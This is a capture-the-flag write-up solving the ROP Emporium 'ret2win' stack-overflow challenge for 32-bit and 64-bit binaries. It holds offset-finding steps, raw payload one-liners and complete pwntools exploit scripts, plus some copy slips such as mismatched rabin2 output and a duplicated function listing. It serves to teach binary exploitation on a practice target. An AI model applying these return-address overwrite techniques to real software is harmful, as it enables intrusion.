description |
---|
09/22/2023 |
A return-to-win, or ret2win is a technique where you are attempting to divert execution to an outbound function not contained within main()
.
Overwrite the return address of main()
to another function and ret2win.
{% embed url="https://ropemporium.com/challenge/ret2win.html" %}
file
:
{% code overflow="wrap" %}
file ret2win32 ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped
{% endcode %}
- 32-bit
- Dynamically linked to
libc
- Not stripped
checksec
:
{% code overflow="wrap" %}
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
{% endcode %}
- Partial RELRO
- NX Enabled
rabin2
:
rabin2 -I ret2win
arch x86
baddr 0x400000
binsz 6739
bintype elf
bits 64
canary false
injprot false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
subsys linux
va true
main()
:
undefined4 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
puts("ret2win by ROP Emporium");
puts("x86\n");
pwnme();
puts("\nExiting");
return 0;
}
pwnme()
:
void pwnme(void)
{
undefined buffer [40];
memset(buffer,0,0x20);
puts(
"For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffe r!"
);
puts("What could possibly go wrong?");
puts(
"You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n"
);
printf("> ");
read(0,buffer,0x38);
puts("Thank you!");
return;
}
EBP address: 0x080485ad
ret2win()
:
void pwnme(void)
{
undefined buffer [40];
memset(buffer,0,32);
puts(
"For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffe r!"
);
puts("What could possibly go wrong?");
puts(
"You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n"
);
printf("> ");
read(0,buffer,56);
puts("Thank you!");
return;
}
- 32-byte buffer
- ;)
What about our offset from EBP
?
- Hex
0x2C
is44
converted to decimal
Let's find out which characters made it into the instruction pointer and at what point it began overwriting data:
cyclic 100
Sent to the input:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
- 'laaa' overwrote the
EIP
Confirming EBP
offset:
cyclic -l laaa
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found offset at offset 44
This ended up crashing our program because of a segmentation fault. This is simply because we exceeded the 32-byte buffer and wrote outside of the memory allocated.
Further confirming our findings above of 44
.
So, at 44-bytes, we are able to overwrite the instruction pointer (EIP
).
Grabbing the address of pwnme(
):
disass pwnme
0x080485ad <+0>: push ebp
0x080485ad
- We now will place this in little-endian format for our payload
\xad\x85\x04\x08
Utilizing python3, we can jump to pwnme()
once more and see that in the result of our execution:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'\xad\x85\x04\x08')" > payload
Send payload to target binary:
./ret2win32 < payload
How cool is that? Now, let's get that flag.
Utilizing the similar method above, let's grab the address of ret2win()
:
disass ret2win
Dump of assembler code for function ret2win:
0x0804862c <+0>: push ebp
0x0804862c
- Placing in little-endian format for our payload
\x2c\x86\x04\x08
Utilizing python3, we can jump to ret2win()
once more and see that in the result of our execution and obtain our flag:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'\x2c\x86\x04\x08')" > payload
Result
exploit.py
:
from pwn import *
# SETUP
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Target binary
exe = './ret2win32'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
# How many bytes to the instruction pointer (EIP)?
padding = 44
payload = flat(
b'A' * padding, # Padding up to EIP
elf.functions.ret2win # Address of ret2win(): 0x0804862c
)
# Write payload to file
write('payload', payload)
# Send payload to target
io.sendlineafter(b'>', payload)
# Get flag
io.interactive()
Result
Here, we will be following a similar methodology, but will be introducing registers and different instructions into the equation because we are attacking a 64-bit binary!
Stay tuned, you can do it!
file
:
{% code overflow="wrap" %}
file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
{% endcode %}
- 64-bit
- Dynamically linked to
libc
- Not stripped
checksec
:
checksec ret2win
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- Partial RELRO
- NX Enabled
Cool, we have a similar attack surface as before.
main()
:
undefined8 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
puts("ret2win by ROP Emporium");
puts("x86_64\n");
pwnme();
puts("\nExiting");
return 0;
pwnme()
:
void pwnme(void)
{
undefined buffer [32];
memset(buffer,0,32);
puts(
"For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffe r!"
);
puts("What could possibly go wrong?");
puts(
"You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n"
);
printf("> ");
read(0,buffer,56);
puts("Thank you!");
return;
}
- 32-byte buffer
- But, reading 56-bytes
- ;)
ret2win()
:
void ret2win(void)
{
puts("Well done! Here\'s your flag:");
system("/bin/cat flag.txt");
return;
}
RBP
Address: 0x004006e8
Our EBP
offset is 0x28
, or 40
in decimal.
Granting us our padding.
You will notice that we are now working with 64-bit addresses, x64 instructions, and registers.
Generate a 100-byte cyclic pattern:
cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Upon sending this to our input, we will segfault, good.
Furthermore, confirming our padding.
cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
Offset found at 40
!
Disassemble the target function. In this case, it is ret2win(
):
disass ret2win
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400756
- Now we need to reverse this order via little-endian for our payload
\x56\x07\x40\x00\x00\x00\x00\x00
Utilizing python3, we can jump to ret2win()
once more and see that in the result of our execution and obtain our flag:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'\x56\x07\x40\x00\x00\x00\x00\x00')" > payload
So initially, I just slapped this address in and redirected the output to a file and what ended up happening is I was diverting execution to ret2win()
, but I was crashing right before printing the flag.
Upon examining this within pwndbg, we can see that we are crashing on the movaps
instruction.
Sending our payload in pwndbg:
pwndbg> r < payload
As you can see, we are segfaulting on the movaps
instruction.
So how do we fix this?
This is all pertaining to stack alignment issues.
This is because the stack MUST be 16-byte aligned before returning to GLIBC functions such as printf()
or system()
in our case.
Okay, but why?
Some versions of GLIBC
will utilize movaps
instructions to move data onto the stack in certain functions.
The 64-bit calling convention requires the stack to be 16-byte aligned before a call instruction is to be made.
However, this can be interrupted during a ROP chain execution.
In return, this will cause further calls from that function to be misaligned with the stack, likely causing segmentation faults; crashing the program.
With that said, movaps
will issue a protection fault and crash the program as a result of unalignment.
The solution??
Add additional padding to your ROP chain via a ret
gadget before returning into a function to skip a push
instruction.
ropper
:
ropper --file ret2win --search "ret"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret
[INFO] File: ret2win
0x0000000000400542: ret 0x200a;
0x000000000040053e: ret;
- This means that
0x000000000040053e: ret;
is our ret gadget!
\x3e\x05\x40\x00\x00\x00\x00\x00
We need: padding + ret_gadget + ret2win()
address
NOTE: To prevent frustration, the below does not work, view the fix. I always feel it is important to note mistakes throughout my journey.
Using python3 once more (and armed with better knowledge), we can jump to ret2win()
once more and see that in the result of our execution and obtain our flag:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*40+b'\x3e\x05\x04\x00\x00\x00\x00\x00 + \x3e\x05\x00\x04\x00\x00\x00\x00')" > payload
For some reason, I cannot get my manual exploit to work. I believe it has something to do with python's sys.stdout.buffer.write()
not liking multiple pieces of shellcode??
Yes, I needed to append b'
before every new iteration of shellcode.
Here is the fix:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\x3e\x05\x40\x00\x00\x00\x00\x00' + b'\x56\x07\x40\x00\x00\x00\x00\x00')" > payload
Send payload to target:
./ret2win < payload
Result
exploit.py:
from pwn import *
# SETUP
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Target binary
exe = './ret2win'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
# How many bytes to the instruction pointer (EIP)?
padding = 40
ret = 0x000000000040053e
payload = flat(
b'A' * padding,
ret, # Padding up to EIP
elf.functions.ret2win # Address of ret2win(): 0x0804862c
)
# Write payload to file
write('payload', payload)
# Send payload to target
io.sendlineafter(b'>', payload)
# Get flag
io.interactive()
Result